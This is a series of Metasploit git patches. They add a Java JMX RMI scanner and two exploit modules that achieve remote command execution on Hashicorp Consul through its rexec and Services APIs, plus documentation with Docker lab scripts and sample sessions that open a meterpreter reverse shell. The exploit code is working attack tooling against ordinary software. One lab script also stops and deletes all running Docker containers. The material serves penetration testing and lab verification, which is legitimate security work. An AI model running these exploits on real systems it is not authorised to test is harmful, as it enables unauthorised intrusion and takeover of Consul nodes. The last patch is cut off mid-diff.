From c3534a479ef7a340f4eb9a6263dd1d1794c7c70a Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Mon, 30 Jul 2018 13:25:15 -0700 Subject: [PATCH 001/220] JMX scanner --- .../auxiliary/scanner/misc/java_jmx_server.rb | 133 ++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 modules/auxiliary/scanner/misc/java_jmx_server.rb diff --git a/modules/auxiliary/scanner/misc/java_jmx_server.rb b/modules/auxiliary/scanner/misc/java_jmx_server.rb new file mode 100644 index 000000000000..1f95757e26ed --- /dev/null +++ b/modules/auxiliary/scanner/misc/java_jmx_server.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/java/serialization' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Java::Rmi::Client + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Java JMX Server Insecure Endpoint Code Execution Scanner', + 'Description' => 'Detect Java JMX endpoints', + 'Author' => ['rocktheboat'], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], + ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'], + ['CVE', '2015-2342'] + ], + 'Platform' => 'java', + 'DisclosureDate' => 'May 22 2013' + ) + + register_options( + [ + Opt::RPORT(1099) + ]) + end + + def run_host(target_host) + mbean_server = { "address" => rhost, "port" => rport } + + connect + print_status("Sending RMI header...") + unless is_rmi? + print_status("#{rhost}:#{rport} Java JMX RMI not detected") + disconnect + return + end + + mbean_server = discover_endpoint + + if mbean_server.nil? + print_status("#{rhost}:#{rport} Java JMX MBean not detected") + disconnect + return + end + + jmx_endpoint = handshake(mbean_server) + disconnect + + if jmx_endpoint == false + print_status("#{rhost}:#{rport} Java JMX MBean authenticated") + return + elsif jmx_endpoint.nil? + print_status("#{rhost}:#{rport} Java JMX MBean status unknown") + return + end + + print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "JMX MBean server accessible") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed RCE via JMX RMI service", + :refs => self.references + ) + end + + def is_rmi? + send_header + ack = recv_protocol_ack + if ack.nil? + return false + end + + true + end + + def discover_endpoint + rmi_classes_and_interfaces = [ + 'javax.management.remote.rmi.RMIConnectionImpl', + 'javax.management.remote.rmi.RMIConnectionImpl_Stub', + 'javax.management.remote.rmi.RMIConnector', + 'javax.management.remote.rmi.RMIConnectorServer', + 'javax.management.remote.rmi.RMIIIOPServerImpl', + 'javax.management.remote.rmi.RMIJRMPServerImpl', + 'javax.management.remote.rmi.RMIServerImpl', + 'javax.management.remote.rmi.RMIServerImpl_Stub', + 'javax.management.remote.rmi.RMIConnection', + 'javax.management.remote.rmi.RMIServer' + ] + + ref = send_registry_lookup(name: "jmxrmi") + return nil if ref.nil? + + unless rmi_classes_and_interfaces.include? ref[:object] + vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}") + return nil + end + + ref + end + + def handshake(mbean) + begin + opts = { + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + } + + ref = send_new_client(opts) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("JMXRMI discovery raised an exception of type #{e.message}") + if e.message == "java.lang.SecurityException" + return false + else + return nil + end + end + + ref + end + +end From a0b7a4986ef14b75d560be5c1f6c9c5b2a70cd14 Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Mon, 30 Jul 2018 23:25:32 -0700 Subject: [PATCH 002/220] Making sure we connect to RMI --- modules/auxiliary/scanner/misc/java_jmx_server.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/java_jmx_server.rb b/modules/auxiliary/scanner/misc/java_jmx_server.rb index 1f95757e26ed..5a4d82cdbb24 100644 --- a/modules/auxiliary/scanner/misc/java_jmx_server.rb +++ b/modules/auxiliary/scanner/misc/java_jmx_server.rb @@ -44,9 +44,17 @@ def run_host(target_host) end mbean_server = discover_endpoint + disconnect if mbean_server.nil? print_status("#{rhost}:#{rport} Java JMX MBean not detected") + return + end + + connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + + unless is_rmi? + print_status("#{rhost}:#{rport} Java JMX RMI not detected") disconnect return end @@ -55,10 +63,10 @@ def run_host(target_host) disconnect if jmx_endpoint == false - print_status("#{rhost}:#{rport} Java JMX MBean authenticated") + print_status("#{mbean_server[:address]}:#{mbean_server[:port]} Java JMX MBean authentication required") return elsif jmx_endpoint.nil? - print_status("#{rhost}:#{rport} Java JMX MBean status unknown") + print_status("#{mbean_server[:address]}:#{mbean_server[:port]} Java JMX MBean status unknown") return end From 374e531d8a44b0fb435a4999720fb42b5951123c Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 10 Aug 2018 21:35:28 +0200 Subject: [PATCH 003/220] Hashicorp Consul RCE via rexec API. --- .../exploits/multi/misc/consul_rexec_exec.rb | 156 ++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100644 modules/exploits/multi/misc/consul_rexec_exec.rb diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb new file mode 100644 index 000000000000..a9336091697e --- /dev/null +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Hashicorp Consul Remote Command Execution via Rexec", + 'Description' => %q{ + This module exploits a feature of Hashicorp Consul named rexec. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], + [ 'URL', 'https://www.consul.io/docs/commands/exec.html'] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => {}, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => false, + 'RPORT' => 8500 + }, + 'DefaultTarget' => 0)) + deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path', '/']) + ]) + end + + + def check + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "/v1/agent/self"), + }) + if res and res.code == 200 + begin + agent_info = JSON.parse(res.body) + if agent_info["DebugConfig"]["DisableRemoteExec"] == false + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + end + Exploit::CheckCode::Unknown + end + + + def execute_command(cmd, opts = {}) + uri = target_uri.path + + print_status('Creating session.') + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, 'v1/session/create'), + 'ctype' => 'application/json', + 'data' => '{"Behavior":"delete","Name":"Remote Exec","TTL":"15s"}' + }) + if res and res.code == 200 + begin + sess = JSON.parse(res.body) + print_status("Got rexec session ID #{sess['ID']}") + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + end + + # unicode encoding for redirection characters. does not work otherwise. + cmd = cmd.gsub! '>', '\u003e' + cmd = cmd.gsub! '&', '\u0026' + + print_status("Setting command for rexec session #{sess['ID']}") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"), + 'ctype' => 'application/json', + 'data' => "{\"Command\":\"#{cmd}\",\"Wait\":2000000000}" + }) + if res and not res.code == 200 or res.body == 'false' + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + + print_status("Triggering execution on rexec session #{sess['ID']}") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "v1/event/fire/_rexec"), + 'ctype' => 'application/json', + 'data' => "{\"Prefix\":\"_rexec\",\"Session\":\"#{sess['ID']}\"}" + }) + if res and not res.code == 200 + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + + found = false + while not found + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms") + }) + begin + data = JSON.parse(res.body) + for path in data + if path.include? "out" + found = true + end + end + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + sleep 2 + end + + print_status("Cleaning up rexec session #{sess['ID']}") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"), + }) + + if res and not res.code == 200 or res.body == 'false' + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + + res = send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="), + }) + + if res and not res.code == 200 or res.body == 'false' + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + end + + def exploit + execute_cmdstager() + end +end From f2a0bf5364c085ad84fd28bc390e406dd1e38c81 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 10 Aug 2018 21:36:09 +0200 Subject: [PATCH 004/220] Hashicorp Consul RCE via rexec API (documentation). --- .../exploit/multi/misc/consul_rexec_exec.md | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/consul_rexec_exec.md diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md new file mode 100644 index 000000000000..0e5706991795 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +### Description + +This module exploits a feature of Hashicorp Consul named rexec. + +The exec command provides a mechanism for remote execution. For example, this can be used to run the uptime command across all machines providing the web service. + +The exposure of rexec service depends on the `disable_remote_exec` option. This option was set to true starting from Consul 0.8, to make remote exec opt-in instead of opt-out. + + +#### References + +* Consul Exec - https://www.consul.io/docs/commands/exec.html +* Consule _disable_remote_exec_ option - https://www.consul.io/docs/agent/options.html#disable_remote_exec + +### Test setup + +The following bash script can be used to setup a testing environment with Docker: + +``` +#!/bin/sh + +echo "[+] Launching consul instances..." +docker run -d --name=consul_bootstrap_server consul agent -server -client=172.17.0.1 -bootstrap -data-dir /tmp/consul +sleep 2 + +docker run -d --name=consul_server_1 consul agent -server -client=172.17.0.2 -data-dir /tmp/consul +sleep 2 +docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.2 + +docker run -d --name=consul_server_2 consul agent -server -client=172.17.0.3 -data-dir /tmp/consul +sleep 2 +docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.3 + +docker run -d -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "disable_remote_exec":false}' consul agent -ui -client=172.17.0.4 -retry-join=172.17.0.1 + +sleep 4 +echo "[+] Checking members..." +docker exec -t consul_bootstrap_server consul members -http-addr="172.17.0.1:8500" +``` + +You should observe something similar to the excerpt below when running the script: + +``` +sudo ./launch.sh +[+] Launching consul instances... +23e8aa4687846382e601ec3c5a66d6db9448518647996f8fd8fdbcdde7f612cf +b28c7929c2a2141c162a35d635af48fdafd70f6c03bee61445e7e78f4e76af84 +Successfully joined cluster by contacting 1 nodes. +7c53a6f486426ad6ab4886f3f7b85481932333850d0046280ca082ff1bb79358 +Successfully joined cluster by contacting 1 nodes. +a58ec109f45029352a94721ee2e7c9c80a9c94178af8efd15279951da8ed0cab +[+] Checking members... +Node Address Status Type Build Protocol DC Segment +23e8aa468784 172.17.0.1:8301 alive server 1.0.6 2 dc1 +7c53a6f48642 172.17.0.3:8301 alive server 1.0.6 2 dc1 +b28c7929c2a2 172.17.0.2:8301 alive server 1.0.6 2 dc1 +a58ec109f450 172.17.0.4:8301 alive client 1.0.6 2 dc1 +``` + +The following bash script can be used to stop and destroy **all your running docker containers** (so be careful if you use docker containers for other things at the same time): + +``` +#!/bin/sh +for h in `sudo docker ps | grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done +``` + +## Verification Steps + +You can verify the module against the vulnerable application with those steps: + + 1. Launch a Consul cluster with the provided bash script + 2. Start msfconsole + 3. Do: `use exploit/multi/misc/consul_rexec_exec` + 4. Do: `set RHOST 172.17.0.4` + 5. Do: `set RPORT 8500` + 6. Do: `check`. The target should appear vulnerable. + 7. Do: `set payload` with the payload of your choosing. + 8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP) + 9. Do: `run` + 10. You should get a shell. + +## Scenarios + +### Reverse shell on Linux host + +Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target: + +``` +msf5 > use exploit/multi/misc/consul_rexec_exec +msf5 exploit(multi/misc/consul_rexec_exec) > set RHOSTS 172.17.0.4 +RHOSTS => 172.17.0.4 +msf5 exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(multi/misc/consul_rexec_exec) > set LHOST 172.17.42.1 +LHOST => 172.17.42.1 +msf5 exploit(multi/misc/consul_rexec_exec) > check +[+] 172.17.0.4:8500 The target is vulnerable. +msf5 exploit(multi/misc/consul_rexec_exec) > run + +[*] Started reverse TCP handler on 172.17.42.1:4444 +[*] Creating session. +[*] Got rexec session ID b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Setting command for rexec session b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Triggering execution on rexec session b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Sending stage (861480 bytes) to 172.17.0.4 +[*] Cleaning up rexec session b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Command Stager progress - 115.73% done (883/763 bytes) + +meterpreter > sysinfo +Computer : 172.17.0.4 +OS : (Linux 4.4.0-38-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit +``` From dce03a74c1830535c2b9f0a672f72a1d198d4140 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 10 Aug 2018 22:35:54 +0200 Subject: [PATCH 005/220] Credit where it is due :) --- modules/exploits/multi/misc/consul_rexec_exec.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index a9336091697e..1492699f1017 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -18,12 +18,15 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Quentin Kaiser ' + 'Bharadwaj Machiraju', # Discovery and PoC + 'Francis Alexander', # Discovery and PoC + 'Quentin Kaiser ' # Metasploit module ], 'References' => [ [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], - [ 'URL', 'https://www.consul.io/docs/commands/exec.html'] + [ 'URL', 'https://www.consul.io/docs/commands/exec.html'], + [ 'URL', 'https://github.com/torque59/Garfield' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], From 559983de32e20a739f735d1cf3cec285d13d1677 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 10 Aug 2018 22:45:42 +0200 Subject: [PATCH 006/220] Hashicorp Consul RCE via Services API. --- .../multi/misc/consul_service_exec.rb | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 modules/exploits/multi/misc/consul_service_exec.rb diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb new file mode 100644 index 000000000000..719947ef30b6 --- /dev/null +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Hashicorp Consul Remote Command Execution via Services API", + 'Description' => %q{ + This module exploits Hashicorp Consul's services API to gain remote command + execution on Consul nodes. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Bharadwaj Machiraju', # Discovery and PoC + 'Francis Alexander', # Discovery and PoC + 'Quentin Kaiser ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://www.consul.io/api/agent/service.html' ], + [ 'URL', 'https://github.com/torque59/Garfield' ] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => {}, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => false, + 'RPORT' => 8500 + }, + 'DefaultTarget' => 0)) + deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path', '/']) + ]) + end + + + def check + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "/v1/agent/self"), + }) + if res and res.code == 200 + begin + agent_info = JSON.parse(res.body) + if agent_info["DebugConfig"]["EnableScriptChecks"] == true + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + end + Exploit::CheckCode::Unknown + end + + + def execute_command(cmd, opts = {}) + uri = target_uri.path + service_name = Rex::Text.rand_text_alpha(5) + print_status("Creating service '#{service_name}'") + + # unicode encoding for redirection characters. does not work otherwise. + cmd = cmd.gsub! '>', '\u003e' + cmd = cmd.gsub! '&', '\u0026' + + # NOTE: Timeout defines how much time the check script will run until + # getting killed. Arbitrarily set to one day for now. + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, 'v1/agent/service/register'), + 'ctype' => 'application/json', + 'data' => "{ + \"ID\":\"#{service_name}\", + \"Name\":\"#{service_name}\", + \"Address\":\"127.0.0.1\", + \"Port\":80, + \"check\":{ + \"script\":\"#{cmd}\", + \"interval\":\"10s\", + \"Timeout\":\"86400s\" + } + }" + }) + if res and res.code == 200 + begin + print_status("Service '#{service_name}' successfully created.") + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + end + print_status("Waiting for service '#{service_name}' script to trigger") + sleep(12) + print_status("Removing service '#{service_name}'") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri( + uri, + "v1/agent/service/deregister/#{service_name}" + ), + }) + if res and not res.code == 200 + fail_with( + Failure::Unknown, + 'An error occured when contacting the Consul API.' + ) + end + end + + def exploit + execute_cmdstager() + end +end From 01f0a117775fb0bb9a8675b550e3ed58d17a6215 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 10 Aug 2018 22:45:58 +0200 Subject: [PATCH 007/220] Hashicorp Consul RCE via Services API (documentation). --- .../exploit/multi/misc/consul_service_exec.md | 116 ++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/consul_service_exec.md diff --git a/documentation/modules/exploit/multi/misc/consul_service_exec.md b/documentation/modules/exploit/multi/misc/consul_service_exec.md new file mode 100644 index 000000000000..7e3dec956451 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/consul_service_exec.md @@ -0,0 +1,116 @@ +## Vulnerable Application + +### Description + +This module exploits Hashicorp Consul's Services API to gain remote command execution on a Consul node. + +The exposure of the Services API depends on the `enable_script_checks` option. This option is opt-in for Consul nodes operators. + +#### References + +* Consul Services API - https://www.consul.io/api/agent/service.html +* Inspiration from Garfield PoC - https://github.com/torque59/Garfield + +### Test setup + +The following bash script can be used to setup a testing environment with Docker: + +``` +#!/bin/sh + +echo "[+] Launching consul instances..." +docker run -d --name=consul_bootstrap_server consul agent -server -client=172.17.0.1 -bootstrap -data-dir /tmp/consul +sleep 2 + +docker run -d --name=consul_server_1 consul agent -server -client=172.17.0.2 -data-dir /tmp/consul +sleep 2 +docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.2 + +docker run -d --name=consul_server_2 consul agent -server -client=172.17.0.3 -data-dir /tmp/consul +sleep 2 +docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.3 + +docker run -d -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true}' consul agent -ui -client=172.17.0.4 -retry-join=172.17.0.1 + +sleep 4 +echo "[+] Checking members..." +docker exec -t consul_bootstrap_server consul members -http-addr="172.17.0.1:8500" +``` + +You should observe something similar to the excerpt below when running the script: + +``` +sudo ./launch.sh +[+] Launching consul instances... +3ca869f66e7dda89f7e239a8d2ae6e477af699a20c90f2d1e2043dc90bdfa78c +fa16999754063a23687809c9dbdbabb5e8d45a54652e6e2023c67fd933d83826 +Successfully joined cluster by contacting 1 nodes. +ecc11744530e63e8d9cb349e98811e2b88d67dd09a81f7a7e8fee129b72d17cf +Successfully joined cluster by contacting 1 nodes. +949d81b0c47b004d456b1db8c5452bbebe08fe99127f0bc365d417a56fada540 +[+] Checking members... +Node Address Status Type Build Protocol DC Segment +3ca869f66e7d 172.17.0.1:8301 alive server 1.0.6 2 dc1 +ecc11744530e 172.17.0.3:8301 alive server 1.0.6 2 dc1 +fa1699975406 172.17.0.2:8301 alive server 1.0.6 2 dc1 +949d81b0c47b 172.17.0.4:8301 alive client 1.0.6 2 dc1 +``` + +The following bash script can be used to stop and destroy **all your running docker containers** (so be careful if you use docker containers for other things at the same time): + +``` +#!/bin/sh +for h in `sudo docker ps | grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done +``` + +## Verification Steps + +You can verify the module against the vulnerable application with those steps: + + 1. Launch a Consul cluster with the provided bash script + 2. Start msfconsole + 3. Do: `use exploit/multi/misc/consul_service_exec` + 4. Do: `set RHOST 172.17.0.4` + 5. Do: `set RPORT 8500` + 6. Do: `check`. The target should appear vulnerable. + 7. Do: `set payload` with the payload of your choosing. + 8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP) + 9. Do: `run` + 10. You should get a shell. + +## Scenarios + +### Reverse shell on Linux host + +Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target: + +``` +msf5 > use exploit/multi/misc/consul_service_exec +msf5 exploit(multi/misc/consul_service_exec) > set RHOSTS 172.17.0.4 +RHOSTS => 172.17.0.4 +msf5 exploit(multi/misc/consul_service_exec) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(multi/misc/consul_service_exec) > set LHOST 172.17.42.1 +LHOST => 172.17.42.1 +msf5 exploit(multi/misc/consul_service_exec) > check +[+] 172.17.0.4:8500 The target is vulnerable. +msf5 exploit(multi/misc/consul_rexec_exec) > run + +[*] Started reverse TCP handler on 172.17.42.1:4444 +[*] Creating service 'BBBDX' +[*] Service 'BBBDX' successfully created. +[*] Waiting for service 'BBBDX' script to trigger +[*] Sending stage (861480 bytes) to 172.17.0.4 +[*] Removing service 'BBBDX' +[*] Command Stager progress - 115.73% done (883/763 bytes) + +meterpreter > sysinfo +Computer : 172.17.0.4 +OS : (Linux 4.4.0-38-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > exit +[*] Shutting down Meterpreter... +[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit +``` From e36b027b1fede6f231a6be48e717b43b4fdf8603 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 10 Aug 2018 22:47:18 +0200 Subject: [PATCH 008/220] Typo fix + Garfield ref. --- documentation/modules/exploit/multi/misc/consul_rexec_exec.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md index 0e5706991795..e28ded2ac531 100644 --- a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -12,7 +12,8 @@ The exposure of rexec service depends on the `disable_remote_exec` option. This #### References * Consul Exec - https://www.consul.io/docs/commands/exec.html -* Consule _disable_remote_exec_ option - https://www.consul.io/docs/agent/options.html#disable_remote_exec +* Consul _disable_remote_exec_ option - https://www.consul.io/docs/agent/options.html#disable_remote_exec +* Inspiration from Garfield PoC - https://github.com/torque59/Garfield ### Test setup From de59e1a07ed474bfa58938fece25abd1319be119 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 11 Aug 2018 12:39:59 +0200 Subject: [PATCH 009/220] Add email addresses. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 1492699f1017..fee96c2f34ea 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -18,8 +18,8 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Bharadwaj Machiraju', # Discovery and PoC - 'Francis Alexander', # Discovery and PoC + 'Bharadwaj Machiraju ', # Discovery and PoC + 'Francis Alexander ', # Discovery and PoC 'Quentin Kaiser ' # Metasploit module ], 'References' => From 75f127d6e084974ecc023be97cae979c0ce1309b Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 11 Aug 2018 12:41:04 +0200 Subject: [PATCH 010/220] Add email addresses. --- modules/exploits/multi/misc/consul_service_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 719947ef30b6..20cef35e1a9c 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -19,8 +19,8 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Bharadwaj Machiraju', # Discovery and PoC - 'Francis Alexander', # Discovery and PoC + 'Bharadwaj Machiraju ', # Discovery and PoC + 'Francis Alexander ', # Discovery and PoC 'Quentin Kaiser ' # Metasploit module ], 'References' => From 44025a6b6866eeaa5216f17bbd761c008f640889 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 11 Aug 2018 13:08:18 +0200 Subject: [PATCH 011/220] Missing disclosure date. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index fee96c2f34ea..0f74f38bde46 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -26,7 +26,8 @@ def initialize(info={}) [ [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], [ 'URL', 'https://www.consul.io/docs/commands/exec.html'], - [ 'URL', 'https://github.com/torque59/Garfield' ] + [ 'URL', 'https://github.com/torque59/Garfield' ], + [ 'CVE', ''] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], @@ -38,7 +39,8 @@ def initialize(info={}) 'SSL' => false, 'RPORT' => 8500 }, - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 11 2018')) deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') register_options( [ From 647bcfb596cc3611d7691d4c9f36b63b494ee1df Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 11 Aug 2018 13:10:09 +0200 Subject: [PATCH 012/220] Add disclosure date. --- modules/exploits/multi/misc/consul_service_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 20cef35e1a9c..4f0d404aee5b 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -38,7 +38,8 @@ def initialize(info={}) 'SSL' => false, 'RPORT' => 8500 }, - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 11 2018')) deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') register_options( [ From 32bbc1c3a7d78d99e18dcdd993234b15e844c6ba Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 11 Aug 2018 13:10:46 +0200 Subject: [PATCH 013/220] Fix fail_with. --- modules/exploits/multi/misc/consul_service_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb 